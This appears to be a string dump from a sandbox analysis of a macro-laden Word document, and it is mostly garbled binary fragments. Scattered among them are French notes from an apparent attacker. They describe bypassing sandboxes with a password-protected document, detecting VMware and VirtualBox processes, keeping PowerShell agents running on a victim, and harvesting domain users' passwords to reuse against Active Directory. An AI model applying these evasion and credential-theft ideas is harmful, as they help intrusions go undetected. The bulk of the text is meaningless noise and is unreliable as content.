w$~_-F7xM8:W.>_D9{#J)S7E\]w"uiZ|=z7?=Q[~}tT9+_\'1t(>Iz}|#}dKuJk}id{#J+*7Y?YyFy1k}o-l,E5>'mrq7(+zz"]YxoDn|4S9x+CQo4-6[{S2E)dTvU>=w@JaX[:mN{cQOozem/8n|v#M{t=w>|t~FN(Cq-,gE]%>"<:!66{"}u;!e

Ansi based on Dropped File (~WRD0001.tmp)

W% GB;L=oA3cEV7]Bs#2a

Ansi based on Dropped File (~WRD0001.tmp)

W&f?Kvv6zIc}AR>E~^

Ansi based on Dropped File (~WRD0001.tmp)

w'("$n|;L[.qEQw&PHEQDwXhD-c,3:=]("7D,Qj]kj%Sg;{[Yg [o^} |]!9BY>$

Ansi based on Dropped File (~WRD0001.tmp)

W+7u7k^aqfJP[Zk@3{O.t7*!|7AMuyY7JwOD!kS^VOW ,I!7_TPa\^M}Cxf

Ansi based on Dropped File (~WRD0001.tmp)

W+g8xCP {o5p*NCjADCMS^}yx[r@<f ?krk!?I'fw7Ibbl&XGN64c3E=Ma0C0/E)xd,chF,`

Ansi based on Dropped File (~WRD0001.tmp)

w,}3LTo=S'I)"s, du>#eJ

Ansi based on Dropped File (~WRD0001.tmp)

W-0D]eY8"4)luk:y2/ARi(}glhF52x1+~HZ##i&G/lNYj7f$%^pA!xkcnyZCUR(Gk\s:HXvBUSXJS;--7NZHJ

Ansi based on Dropped File (~WRD0001.tmp)

W-aJI]m=wh}PlOm;|k|N#;+gX:y(k?o7

Ansi based on Dropped File (~WRD0001.tmp)

w/[ J!Xb.WcNl>;0hYk%?o&3:eq1nL

Ansi based on Dropped File (~WRD0001.tmp)

W/cY.zkXIFFFFFFFF/PFFFHMM~Alddddddddd3~v ;;

Ansi based on Dropped File (~WRD0001.tmp)

W2>sr ;z@hP#~')[FJ$J>64riBr*s)>7fp

Ansi based on Dropped File (~WRD0001.tmp)

w3=(yg&O

Ansi based on Dropped File (~WRD0001.tmp)

W3Mu7.B'*R,!EB~w3G6D[-

Ansi based on Dropped File (~WRD0001.tmp)

W5:=Y@u:Z!f90BU")z/=L31k/<z4C(v+0qCW2#iPjH^0g=2Z ]>qr_a&:S`8w}oGD_-|"l_p]5cD#89:!4};;,RL4?#;UBg

Ansi based on Dropped File (~WRD0001.tmp)

W5<<aXZ@2d3.d<Jo@buEcC]

Ansi based on Dropped File (~WRD0001.tmp)

W5\P|qKEoXwj-"1G^)B!

Ansi based on Dropped File (~WRD0001.tmp)

w7 1Z@Os#/,2MbWQrei'xaf^=}{Vu2*+fFdFRbf\.t1%g

Ansi based on Dropped File (~WRD0001.tmp)

W8}U47w5u`jb"uSb<10!zaz-&1:6Yk+#Yn0eLal(jxQ#wy/

Ansi based on Dropped File (~WRD0001.tmp)

W;sLlj>}G[y"[?]/{d-nW!/Lyi`_n}O=~F<P_KNHS\b>U[8P]uMtYg#w<<;nTHC=WA#*l+N<q-

Ansi based on Dropped File (~WRD0001.tmp)

W<n+UHcsp0`pG%{s*uUf/ ?J>:a`=Hj']qxlt<$

Ansi based on Dropped File (~WRD0001.tmp)

W>rK'5%A1u]u|%?#kLF;AZs>:nS

Ansi based on Dropped File (~WRD0001.tmp)

w>sLvsv5!Qd?dVQ=/6>VbCg(T^.n9us

Ansi based on Dropped File (~WRD0001.tmp)

w?;;Oxbm'%l/~{wVdpjqi[~%^2["7KCa?7wiL'YW1n7h<_;ttNm.7\`LDpxK5c~qLoJ|r9P

Ansi based on Dropped File (~WRD0001.tmp)

W?b=p3y'7wu$QHEv+?.'B|do>_l"${zC"m{J?E(H!).|nfr]z<LHSO4p{u+7I}|-k%AJl.a5#iNw%5`vBN.TG=0Q;MUF"GXD/Ws#l42UNr>HqJ2~?oV#!"r|?[Hcy$N<&n(,;_./wsB5<<N]mHI^iuyXB{E5>+KSX:2{:tv*KZ[VnK~[6T7Mb.#e>?K'VFCXXFvRXw?[y0s\w>=Z)+Vjl%@ {"jIB31+u7oSp?p8DU&,^/_o&/o_8O_,,!{]$?B&:CoN|K-?.cV:V`d"&{N`A_x''~DQy(f+pvrK-y0qltKM&Mz#Td]A2DFFNBv5S"L,R>z;*tmTu^[Kd'r2 s!Y5E\B\8w'OQR6]<\wSNegp>o87nWSWr&zcTdAyG}'l|]

Ansi based on Dropped File (~WRD0001.tmp)

w@(?O$ o~>r2=R5!~l{,H;_$H<jG#W4

Ansi based on Dropped File (~WRD0001.tmp)

wC,M)#cS

Ansi based on Dropped File (~WRD0001.tmp)

wc61yU.dfW&`YB:}8S@5bL<^dH<|c$`'@*-nv]~JPAHHw

Ansi based on Dropped File (~WRD0001.tmp)

wc8p@f6!kKO>x P $ 3:;>{8EUG:j*XQG|iZ%Bx(yGQ{!<9<c=z9`-HlSE_dA>tX!'gueK/ahX7<f(6:WC/jPy`ly '_cB<)x> F9Gh &.HI4$:IHBB$Q%grXB',&''S|U_~eRZ7%9g,J$(pEV

Ansi based on Dropped File (~WRD0001.tmp)

wc]B4]8@Zq5O*7HaGGduEo"W<,,b!xa<<u

Ansi based on Dropped File (~WRD0001.tmp)

Wd08ch0FZ`[,(C37y%B)&HtN@nmi>}+B}p'A`&IiuH^%x`Zd' }VAPK,}Z{-X%l "=OKzcH1F~te{p

Ansi based on Dropped File (~WRD0001.tmp)

we#R\5iWPz|%iHev33jxF3&9:f}hhwSBD[EIqEn*$Es %A`)m4x?Y@1T,,jLY3byi04rH-CDmjCcxOw+C~3/* qA

Ansi based on Dropped File (~WRD0001.tmp)

wE9d>qmIezo\3%`n^5>i{_P"k

Ansi based on Dropped File (~WRD0001.tmp)

WELn;59N9#ecu:m0Qew<<R0;A!:=4!c+nK'AB[yq[?lfY*1{[ !Mb]0<D|7_H*MN<];|Lv/1|A{!.I@)+e/K`se3\:n#!/F'LQFo<b

Ansi based on Dropped File (~WRD0001.tmp)

wf2hw1Dbe3IY767Yk2[1h?x?WYqa9<78~+?<Rqp<szRwk_jGjg4<G7Z

Ansi based on Dropped File (~WRD0001.tmp)

WfgX}w!S}A'lA"x_>U:un^[zz[vejuMp%V*&:64~8zk~wkRK*(~~aX?y@UO?)u{/..On

Ansi based on Dropped File (~WRD0001.tmp)

WHP!n#TBf8!X=Y3\0!\,-*?mq!}xBw(7W<(ZE2odb}cqk-^ TTH>S7

Ansi based on Dropped File (~WRD0001.tmp)

wHVvE|Ye3Y}@Oht<7Eq~e`l5'zw??P}.(1?UXeIVm{YeeC

Ansi based on Dropped File (~WRD0001.tmp)

wIm~+2_-%a]`QDZvn~AF}xGZ5su7hLXy|y,f;(r|<!L@@Jz-H3So&Seh; s4s=&X{OHyF[46234f4Nez

Ansi based on Dropped File (~WRD0001.tmp)

Win32_Process -> Vmtools, VBoxService (very tedious, not very effective!)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

wk>cc"U4i5

Ansi based on Dropped File (~WRD0001.tmp)

Wko+X(/xz4#tv[wV>zg(S`%[um9/<>zy8p~xB|N#0dAk/rvJ^;2NrBkkoF?zK;8j\pwqEP)_b'1yOyEALg

Ansi based on Dropped File (~WRD0001.tmp)

wL)e\O9IuUsI([}bJTWQs/_EAA555455$w|NIJ(<xV>qti9I|H!Fe!~AK?S<vAq~x,3a7b=,3F"&73&>^E4}uW6u7k90Nslci;n49m:4-yMA8,v5RUYECfF~os2HEe5.cJz]Sw5aq4fM!B2>h^6C}2K|8}:`5'sjH_#z]zzjK3oP-Y}y&v

Ansi based on Dropped File (~WRD0001.tmp)

Wl<I4hs(hKbs^qyt2FHzw_BPYT8F$%IMOFD<%I&?iPn'8gS

Ansi based on Dropped File (~WRD0001.tmp)

wLA&tCAz?Y ]0HACn)?#EB4DY L`u0H:DA%`Pg4stY ,af~0:#A%`Pg~03A%Q0H:K?k'THQapH0X< z$,G"Dw0<<2G%D#`H0Xd)+Lh`='N>"x@<K@xd\Qn0d<E&0G`#

Ansi based on Dropped File (~WRD0001.tmp)

Wlhbl6\8USgXb\?c[.Dpjp4l1ca,|{=F~=n

Ansi based on Dropped File (~WRD0001.tmp)

WM!?%oCemr!4{ry= ]<C,%bxg~&~o7SCl!Jj.Z.Bj_J')gu|"6.y!w[$ER'*Zwu,GG

Ansi based on Dropped File (~WRD0001.tmp)

wm7y-{S7TXuX'ZLUcdL]d0n;0npk7kA4LzGAl6n0PhS7+Wd6M8<X!k(P?2F=cNF/v%cEF(2G9Yn60nxQ

Ansi based on Dropped File (~WRD0001.tmp)

wn#DT_4Uhq+9fZq~iB<6&^Lf2Q|&r51f &+.*JbKvZt5fMqJ,fW{%#B3

Ansi based on Dropped File (~WRD0001.tmp)

wO-Wb>QadsF1OObb1tk>b.i<a)&s'2'.k)d/Il<:k{W_:Q`\(VU`|Er@(p 57!<YOAk1R<G!/q2ex,hTaW/(?(<^y-hQP&n["XaOd0eL}F_zno4E<$.eqoywiA )&'BkT)x

Ansi based on Dropped File (~WRD0001.tmp)

Wofh?(0P\BCQpa(

Ansi based on Dropped File (~WRD0001.tmp)

Word: protg par un mot de passe => bypass sandbox

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

WORDFiles

Unicode based on Runtime Data (WINWORD.EXE )

WordPerfect 5.x

Unicode based on Runtime Data (WINWORD.EXE )

WordPerfect 6.x - 7.0

Unicode based on Runtime Data (WINWORD.EXE )

wo{H"Eea#oHpwoU3q}/g6zm'koo.

Ansi based on Dropped File (~WRD0001.tmp)

wp/3ZeHH.$T[I,!'H2B'vXLcH_SWxNBhU=zzE\DF]QKr4Q&Kv"WYQQ_<_Gh<Q9kjh17CraiFpG8nZ5Z

Ansi based on Dropped File (~WRD0001.tmp)

Wp;*}]c~l8}\R%.cT)Mv1S`)8]bYv>aec<&WUEbdP`ATwxe}4*j_K-?_SP*

Ansi based on Dropped File (~WRD0001.tmp)

wpv78O|ryL_DEtZ.A+\=zh>kXp-g]EuP?Uzy9fRTGU822Nb7&~/o+v~#x%dIe*(Cxg'aj)o4ZlQ9&.7RW]7tqD5

Ansi based on Dropped File (~WRD0001.tmp)

wPxxpheD|@33D3,Uoja8J;=pV87Z:Q:'gyxYw[Iig_YF2]Wo8G9k)H_^o~L]n=/{bls3\}O?[}>3L fbd\5ZV0V'1}o??UYjZ$0Q\D*,T6((uoYj:Z*lEO.}B`yx>\.\&}i4FX82tB?L=qnn=cnjQ{OOoWY*UZ

Ansi based on Dropped File (~WRD0001.tmp)

wqGYTP`w(FVD<bEOFKfGVh*h|gZOTe|y&%?Qx`YN;Jes /.P/}%(V3Uz{$$Pp6I2nxrq+,\'Grw5yd(,n9^8\Xss

Ansi based on Dropped File (~WRD0001.tmp)

wqK\Un? [2a3lL xCjV6/Nb/KpR]\ZwU2gW`c/Hjb3ID\Kjg:5%&+8zlkO$7z\{[r3Sg[

Ansi based on Dropped File (~WRD0001.tmp)

WR!J6^fC9W] Y@c?Jrb#N*d4|,H[5yuN] }==2qUy_^dr^ 9?OxsXR"M

Ansi based on Dropped File (~WRD0001.tmp)

WrfHuU=Fo@4"p{(:]ljs>%fGS7sVH=Z%N4G+L+><vG#5}=CL3q~ss$1=<3T;ozQua#6DuC;*26o~8JN$dHjK=vV]M>Vhe+>3xVnmY/F3X|e\d,SXnf714?\]kj:;:}5zZOPsp0CdJ*0lf_\=y"IKS5h8OU:}jf={,VrQ9z1v?busmh.Q0|;;'1pKw?8]L<{L;vz{iI72 b92c05-_OO:iuV[gz]+//;{

Ansi based on Dropped File (~WRD0001.tmp)

Write-Host(te + st)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Write-Host(test)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

WrzB+U"'.\(._.Oa#?"7}LvVEF'

Ansi based on Dropped File (~WRD0001.tmp)

WSOT|GQq7/BL|5i_<}x}S;:*sq#9;0y$5=l53V?M-NIg&SH223`Frbj570/1w^O_c93L'_RsP11c01 @c36yGL~*(16Mx~u~}f02rGq|?AA[/m

Ansi based on Dropped File (~WRD0001.tmp)

WT!WHn!:bG|;4u$Kb)fyqSiC{H9O)S*pL|hy|<?/kdpA$|op<Z~R!|Ho7gmC0;&>I'4BJYo7F[y*D=FXkJMf6X2]N#emTJBfQP!

Ansi based on Dropped File (~WRD0001.tmp)

wT6""b2&qnmCFC7U{/T,i%FA8[P`*-sS[I}ImIkowq&Y1e7"""33[D-$o.+-Y\lZuH7S@PQoYmRy?]jQig["Om}&u$+zs(S*Sc2ReUieDjg (7v6l}wmp^6VsQ[k%koQ)Y~Yw0!

Ansi based on Dropped File (~WRD0001.tmp)

WtZ=QZt=V\l}fj$s~Ved*cE9LQ2Ws;ql@dE=e.|<k*uWc=+-hc.HcGcLA_f~E~[)LQ:sh)"A/R;y Oj\h8x#(T

Ansi based on Dropped File (~WRD0001.tmp)

wU`s_kn+W'6l)zb?lLRRP,Y<_

Ansi based on Dropped File (~WRD0001.tmp)

Wuf}s'ea33r}g6 D!xo*u:?\(pC*&K0^_sJd3Z}

Ansi based on Dropped File (~WRD0001.tmp)

wUuG&x0uGs&#%fK

Ansi based on Dropped File (~WRD0001.tmp)

wUyrsso5jrcv+fAu{Z!jtP|Kqsd>3ndV"FR:QXx'l2nmV+*pm9?@r.Be(u,7\:'Z3)e@')>^]2qLhrp(ZZ>Nj/^G&*d"rngJk/esp0UN>mrb>A_bu"xw1v/kkp:cp\c;rs?z0^u"|n

Ansi based on Dropped File (~WRD0001.tmp)

wX &NOP[tg6.a('`8!BS$)5hjGdc\9Gd~b*n6lf?Wl_mS,

Ansi based on Dropped File (~WRD0001.tmp)

WX_Eaj(qy^ef"(co@_o3-397>n_qa~bl!^SdPV,X%t7^OD=A}R&Zv$4}gAU]y>,-xQ77a[X_R*`"h/;cGmB,qjy`X0k{hyIrh

Ansi based on Dropped File (~WRD0001.tmp)

wxgfZ/LC #[n46)GE`Ey<W#%qKYY5@@o?*C^<a/]Z>5(\0oqP

Ansi based on Dropped File (~WRD0001.tmp)

wxs/ [[^K#X-`w{,0zj=#Z6{27tTgMa`HXC9)y~a}g0}yEZ>"V:6EGr,H0vmg!R,`5_V<bWWx4wf+8T2Wp{2

Ansi based on Dropped File (~WRD0001.tmp)

WyG]z;j7XoF4Kog`}UvzZroWOSp~weZOe1*x6<vf^LJ]y6"t:D~fWwe|'F!

Ansi based on Dropped File (~WRD0001.tmp)

WZHwg?g=J`:>{j#dz+|f(P&A>[$(-GB`Zyz3qh5<d/Qp7UcEdm.QxI_9M_G2kvkqHPJ&2*|UOq'~R#{<M#r[7>v>}"}"cox;Z(&d8jcWfS^4C`&L<J38?D7~+a&d

Ansi based on Dropped File (~WRD0001.tmp)

W{s{LV)o|)bP]MDD8$X,Fv !dD~rCq*6(

Ansi based on Dropped File (~WRD0001.tmp)

w|;BB:'2wC:z,lWd\CHNqw$seB.?QQ&kJJ*`!q1ls<sy}ZW4,Wm4'16W}M/Tr>#;rK'fK8M8Y4e#+GUjCeYc,B6t2V'sG[}n,9@6\}V8dzy=vVFa_JF;]z4sW]M-sQ;

Ansi based on Dropped File (~WRD0001.tmp)

w|F@JvI}w9yUz3.i

Ansi based on Dropped File (~WRD0001.tmp)

W|i|B^y8T*fqfC@Y*_tgKpwfK8iKYlSysCEs+q`6|c/%-='K(/%`(v4|"VD7sm4 EYf:?aS.~6zA=VXh5k4$.] xd:,aV[

Ansi based on Dropped File (~WRD0001.tmp)

W}<-bCvt/}CT|wS8\R^)-MKc`q&Kn7YG>SLdS]do/<NgvAg~;1_0L4h1>eW/{yk4>X|Ry{Y7Kx3n&sg|uiAtz1=rOf+S<K,?\q}c?^]s$m[,n5rR>Mg!zzB]Qk+r$T@=|V<r!{G?B/=/g}R\u(E3~kxhzQqU9[IeS_5A<~'uy3E=llITb`<9/h^Tjkn\^t

Ansi based on Dropped File (~WRD0001.tmp)

X!mDf,cYcaC,yZ^fnad6S[Sxc6o(]"bX5O,k^f.Xa>>zy_\-<Eq;;R<22pM^^u{m@us7"BrkU6jJu1'q'Pr=AtB5q%{0VyqJ/1NaO;>=/z3&77\Y}R[d*TSbaz'}(8.,q&M-#Mm*?b*yd:1ckwW#

Ansi based on Dropped File (~WRD0001.tmp)

x";#P^jnnto>MY7smtG$[#|M#--_9XdV/LmOeolkVk$Iy?GOa/G+k;2j1#9~tL-XQ"9xG`7('nz)Y;9)cj+~D{Ou]:N$')G(>M~ttL=n{G-OsVW6w5~T?!_XoxM-=iP3Mv3!$2B4M;&HO>~:^<(7FcOl_aTe|a}[;:{l?::^uxY6~T?!~@|<?G@Qxq=IuXty$

Ansi based on Dropped File (~WRD0001.tmp)

x"Jb$T Zgj1,slTo2^rDqD|v

Ansi based on Dropped File (~WRD0001.tmp)

x&5-f^-Ut);nWY4;>/t9f+nJ5;kQf }mdcOkZ7

Ansi based on Dropped File (~WRD0001.tmp)

x(3|pzO'3fxZ}im'H^3V>>8c_M]8Zz9O=jTWoByu?3ju=Sbom/fFw8$Cr8VH]F=.R,(_11w1;\a/F`QbMLv"|v0E1UwYqI{`I&?k6<S2&}S+mK-yT|e{KzK|lbg}'(d>_ei>kD?EE?OoW#OG++<'xb+/7<\:O+o_rFxt|C+nY?TW*Y:>gz

Ansi based on Dropped File (~WRD0001.tmp)

X(gO.];wMEzAsm"Pd_|Em

Ansi based on Dropped File (~WRD0001.tmp)

x-O}/8&~s{R,*,YPjqKWa(Pl%FIi\5>4B3Q

Ansi based on Dropped File (~WRD0001.tmp)

X/Aw7*.m(+

Ansi based on Dropped File (~WRD0001.tmp)

X0wy@a2a%1z%,aug>.cw0{>w`>ik^

Ansi based on Dropped File (~WRD0001.tmp)

x0yK:A$?/cnt\|&+8!sD*.UN#sKI[bqE|LYHM|c6&MIcwl"5_mVZx.[#}KTj?iHsNOyrqO}d)-zpFG^~#Q"~S`<O+IUF#s

Ansi based on Dropped File (~WRD0001.tmp)

x3@nXg?flO1HMPOU/oBA'r~i0qI7~<r#P}c`t!{YN(omg2F

Ansi based on Dropped File (~WRD0001.tmp)

x4jkN}1i$21z)cAg-OL!@s!0DdA4HcrM;$Rm A

Ansi based on Dropped File (~WRD0001.tmp)

x5A)W[^|_V|7jjPWUV^F^aF3;bZ}TmoMyy[=[#,I!'P"BMCM_Fv+v]YKF4_xJJ>X}NXc*=H0~#x!`ZM?'L%MTJ|wrV>.}CxfZPhl![C;_+*bF'V/ajPU_5P]IO5;Gm3yJ4WQQTC10kh,"f?'JwGB

Ansi based on Dropped File (~WRD0001.tmp)

X6&xs@t~_~;$aOLv!I-$]$}]y8R@-GJ#s08B/oc@4NUnW`}n(C:$#TGbc+yVzll,:G:R(,Yx1h o50<

Ansi based on Dropped File (~WRD0001.tmp)

x6f`K/\0a_:7:&dzPNzvE0%-b_0a&E(NqcL!/7!%V?E>^Ewr

Ansi based on Dropped File (~WRD0001.tmp)

X:H'UgL~RA6*Wcrv0~9F,vfr\f1jU^1sk1)K#R9Uk;fYK6E{h;D

Ansi based on Dropped File (~WRD0001.tmp)

x=+i7.!g-$aq84`ijbgHQb4df{SHK?IL('^"+pz]1MD@si3z}k(v{lZ"ZEidlWU5^K/|0XA@X{amgmG4uZ|wE;V3;7xm|.x

Ansi based on Dropped File (~WRD0001.tmp)

x=E66^W^k$_v#D3`iIxr][W^IsMemALU` O$x_&W%D`0 3!<` 3!<` 3!<` 3!<` 3!P_?<z)DN1=?+j

Ansi based on Dropped File (~WRD0001.tmp)

X>*jUmHnHsHuh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

x>H^=Y2bnpEiioZ

Ansi based on Dropped File (~WRD0001.tmp)

X>OgBo|N.6}>J;I;1Ik*$O

Ansi based on Dropped File (~WRD0001.tmp)

x?*o$v<;H>~Xdc

Ansi based on Dropped File (~WRD0001.tmp)

X[8@f>Y?p:Aw"KWdW}pRz&"3`O9SI~]U8}aMUx3p;,-({X/QE0+s"U~ rm:HZDtu`"hZDrqYt}V%D9<kg}VP-+~xG<

Ansi based on Dropped File (~WRD0001.tmp)

X[UO~t&4l#3>oxc)W>7nbhaj.t&46>0b7u7._D|0|`

Ansi based on Dropped File (~WRD0001.tmp)

x[v@kW=~"O_VJ6n*5Szg5xkR5&OX]n7!Xmls_VZCq\s=~\N1#bk:Poqq|iSZ 9KY|=irG\rR?D{/GCK_;<Gw$3@sKG*?2:Exw/x6L{n<[7zgf7yq]+bo+-vg1{*415y<Z|ywwcV0e&kS89X{iG,Aw{Wl}:\>G^BjW&zfDc}5w}SON[K{y/{j`So*BF/U@PsRtx16DlBm#'fW)sF{/?hGb3h<jpS

Ansi based on Dropped File (~WRD0001.tmp)

X]sl\qM<}348&'3,^y

Ansi based on Dropped File (~WRD0001.tmp)

X_w8"8%L;!E4w|l/A4*B,ZBA#fBaBO]B7s!%~i# H1N1H>6@T2

Ansi based on Dropped File (~WRD0001.tmp)

xag7^/@_"O( oG%UsT*;{SdYk^p#B[RaUgvhp%B)uny|Ig<nJ-c

Ansi based on Dropped File (~WRD0001.tmp)

Xb#Jmon/J+<7}2}npaskf>-(i

Ansi based on Dropped File (~WRD0001.tmp)

xC+#wcOo-gBKRF">4zzeROfv>l,(hdahk1VR-.WFO_#;G^)`p0+vt.fwiO;8d'O%*

Ansi based on Dropped File (~WRD0001.tmp)

xd(:37zrX

Ansi based on Dropped File (~WRD0001.tmp)

xD8'DFRXYVkikk7)YrY`'$KK;MlkNpNU;5]AQ)?SdhB/\^jWqDf=9=fKZzlv$\"_(

Ansi based on Dropped File (~WRD0001.tmp)

XF%f=X3<>0 6*sro"x;-q7u}A]B4zNMnt[b^ -eV8$2y:?KebDFEak]jhS`c

Ansi based on Dropped File (~WRD0001.tmp)

XFI{f5j_7\e%">U?Ns[MSUrvQ{qe<*e#(67nG}*~f`yt1\T]yut:n\hI

Ansi based on Dropped File (~WRD0001.tmp)

Xgd.`gd.`gd\)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

xgp]~Qw?dOo/,`mU?z%_w5C-:ZZ(vYxgyJ#=~SwK7ooxGej9{n|gJ7?Gcm&`uQv6E*A8tee{@hi3 mwaW>Bjk7OR9e6MaBJVh;@hU-8.:p+5Pxx0#/n=}T{;Mr'*lO(B>|Q!&r7?~XseKUS9:o|87h

Ansi based on Dropped File (~WRD0001.tmp)

XGsl9TI=qq89TQB_~ilcb

Ansi based on Dropped File (~WRD0001.tmp)

xh8~+*lp}>9'gV"D2tOZaj"R\9#SSC$7Wp'Z<MzBh?p{ q1yytZ`8~kc!(g6(o:7Ba~FUcP!P!P!P!P!P!P!J=[IENDB`PK!Nr>tword/vbaProject.binpu{ AI]4, 9'AQ`5@8dQ %)kP|(Y8x=CoUN*Zu7XGZJmUk|;nn*U4Vo_[k!

Ansi based on Dropped File (~WRD0001.tmp)

Xh^hz+h^h Kh^h0j

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

XhpUh.`1processus PowerShell de la victime via plusieurs agents (au cas o l un d eux s arrte)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

xHs7{]YNvk*OUG.yzm_y|kxBf'O{<s9>T?f!@=)/w1j2S'

Ansi based on Dropped File (~WRD0001.tmp)

Xi/ppe[F)

Ansi based on Dropped File (~WRD0001.tmp)

xjf?)~r0)X87;V+f3oSdi

Ansi based on Dropped File (~WRD0001.tmp)

xJn-|`WtxH

Ansi based on Dropped File (~WRD0001.tmp)

Xjo vttGzYN{oU0tBa7"kOEz{L4H\R$0%HZ{n,<=G(|FUk+W8m_%kS58C{c(Y|FS=p;W,NJc@"FNo IqQB%QCm 7A_#DVPPPP)NadnFk9q;[fRK3?$3I7d^n<& SW)BNNF-%_

Ansi based on Dropped File (~WRD0001.tmp)

Xkwe\-aC6p

Ansi based on Dropped File (~WRD0001.tmp)

Xl-4Nal7Xyd`j3:o6uM7zhwI^id

Ansi based on Dropped File (~WRD0001.tmp)

xLONxj5o=yN3$-Bi,,4hE^EvqZ%rLjzGip|Wty"=DTj19KaDvg"J#U.3aPS=4?;JKi0P^,xz32Y>CoHG9i.)4}(^jb&?m=z$bbb7-h'(L!N\_u8-K.U2JRHk5[;McY61&iVC:Kua(**2hlKF0^O+j7NP)vVcq7-Qq4Z;yt<M$K0A_ZRyp.&_FF;^M;;6:Ev$&!Ng\eJ2aZ,P3

Ansi based on Dropped File (~WRD0001.tmp)

XlSdpqYx'li'f}g3c|}8:OC~?W?sH3rO

Ansi based on Dropped File (~WRD0001.tmp)

xm<_sxu|+i/=[1sV+wQhJoHU

Ansi based on Dropped File (~WRD0001.tmp)

xml : ConvertTo-Xml

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

XO\cA#@iH2L_yqeKCc9_N|si|9c5T~?"ukZI3/}8k_do;zwK|X9h0o)>F^; Br&3B<7VS=*r"#BxABn^CnI'ZG>p[J!566?< <MphPTo;cD,aTcOZ>SrB9=<%GL8Id{|:XH'~kyY{>Jh'lgT~'b8%pk`H V-)%>}|t\;*tmx=BaM&nK^* h[+>G%0&t@*GMWwDFy?$VZnIdZHI\`?rA<`%?1vX|j)MabImc'PkKwj[MX@XrPM1$XlCLYzd ]LK4on1yXc\%C(Jqv(=`fn{KY/c06IdGsK6;.RV4i7JKP$X?KI=YB&VTwnm&nWqOK

Ansi based on Dropped File (~WRD0001.tmp)

xoq{D+4iSAx@ysfOr[}@.'N49^5hGC_(|ff\8!0%`-j2 oCGw_an={vaTm~_Gk,XI'kszlo5a7rV$>s_N|}ELEws,$_}*8kHGK+$u$z("5r}f7e.XCLl&gf^t6r"S `z<]Qu|(k}I?D_z]{w

Ansi based on Dropped File (~WRD0001.tmp)

xP9Ss1o-=v$]m/!-g-LrK[F&u6SB[1Y{fq~j#Ge^HjO2kO&[wr89MC$03Yk@>N{"ZTPA{Xc>z-W8O0;{l, &?oma?}l4{#G$En.l?}hr^H!05%kRj*=C7>s_OO3T=eO'/]s/uwx*e@?<YfNCD;yfYwgNn`F]^]l vuEmME_-v.>9r!<Z)m:']n$-Fa~+:MEvMBg}(6)</~vPla)2W)_0+MH'8kdP?{=T.cwJgIw[.N+mIeTAM)t/Z=4Xi'#}1dirA

Ansi based on Dropped File (~WRD0001.tmp)

Xp?h&mpx%cLf;Kxd3gS!C222222x/A09F`B&1aFHsa7^?L'Hoelxu(E8:8.zs~M$t*aJ6516]<B

Ansi based on Dropped File (~WRD0001.tmp)

xP^.{c_0$\1_T9t%~Cu5{$"O*B=x\^LGU#2EXCo\AP3jGbFQ[cVBm?/M;VP<b$14ckoK:l

Ansi based on Dropped File (~WRD0001.tmp)

XpqqqqqqXpqqqqqqXpqqqqqq_@D\k5IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

xq-1cq=_R)mPlN#rbF yy!&':9K>$%tGdrv]\SU)[M19=g3hx!EPvo3vR&]lFx?ES)09jzyw4yV35nGv&U"%Z&(y:nnv-qT"b{,&3E'%D>Q?KE>f1TSkV(j6{89qh}Y"Z%4D~YX^|yoHzwYDY-?f!iwkUj1~J|>o

Ansi based on Dropped File (~WRD0001.tmp)

XQ/P-u0&L5uXN]^Blso10qX]Y<xXwsqC1kRRmoirw?4Kgj@(}&i[s^cy>M]$/#hHt2Pge7tDY"tdJ!:A}NDS8MY8Y;68)"9Qg.+Xpx{jen

Ansi based on Dropped File (~WRD0001.tmp)

XR#}WEr,I>B@y#N(\NM$q3UdUG m>iEV0O$^yf\_/apCaL%mFv>H&+uv;IQ$ nP*5cJ4qwniku&$'fC.UV?3[S2#<'Yva#Gh|8"/PRWj$0+q0/hLDt"=1)Z(Cr\=wUhLq?<';ySS9jOoL48Iqedxb>|AKU9old~O:&~QNC4G#Q^|>gj'|jLmG.?p!3xHW|I+!h>Y<oW>UOBcq<b:Pdvz/\>zG+uCC

Ansi based on Dropped File (~WRD0001.tmp)

XS\:O<6>T~XNZwA5gH?r>I

Ansi based on Dropped File (~WRD0001.tmp)

Xsont ceux de la recherche de mots de passe des utilisateurs du domaine de la victime. On espre ici que les mots de passes rcuprs sur diffrents services soient identiques ceux utiliss dans l Active Directory.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Xt`-bpP4HX}$$$q$-ERvp;~^x7xw93>>^b`[YB{;4OdAg[lroowFS (o[4 k^p_#o3N>dR#{CKVX1rDEGI}W^y]vrR C>S"N^(u?vi ]>pb>Q7oXQhbk

Ansi based on Dropped File (~WRD0001.tmp)

xU99.3b?%Pm3?cyJlMCPVqlL^Kk?

Ansi based on Dropped File (~WRD0001.tmp)

XUgz)7=gls(*sU1N0JsYAVPFH/Zf(

Ansi based on Dropped File (~WRD0001.tmp)

XutloE7q+BQ]?h]v^0#<Vp>GijSTk6Qk>Ik2Ak5555555&i&j

Ansi based on Dropped File (~WRD0001.tmp)

xv9jy%@cs{9*RF`<rBd8O8H|!:lc:#>Y4@Fhxh p<k+WYIILL$IH

Ansi based on Dropped File (~WRD0001.tmp)

Xw2Ph+/,Qs,-]s!yBbj

Ansi based on Dropped File (~WRD0001.tmp)

XW=/T4J5&xbccHN?O>0;PT{uNA]\c6DXKn?1;Xs8pvcSJDq,;!_y=2C\9dty^Q(V:(`1F6D~cK(3|fK~Te:q(9){gxr2;#8-DQ5^JZKW9c,,qxR_.N=hdO;A/Ckbp*NPn2DCX~cNe;?iN5;LI8gs7r?rxqf9}moNTq:p2;Mmq

Ansi based on Dropped File (~WRD0001.tmp)

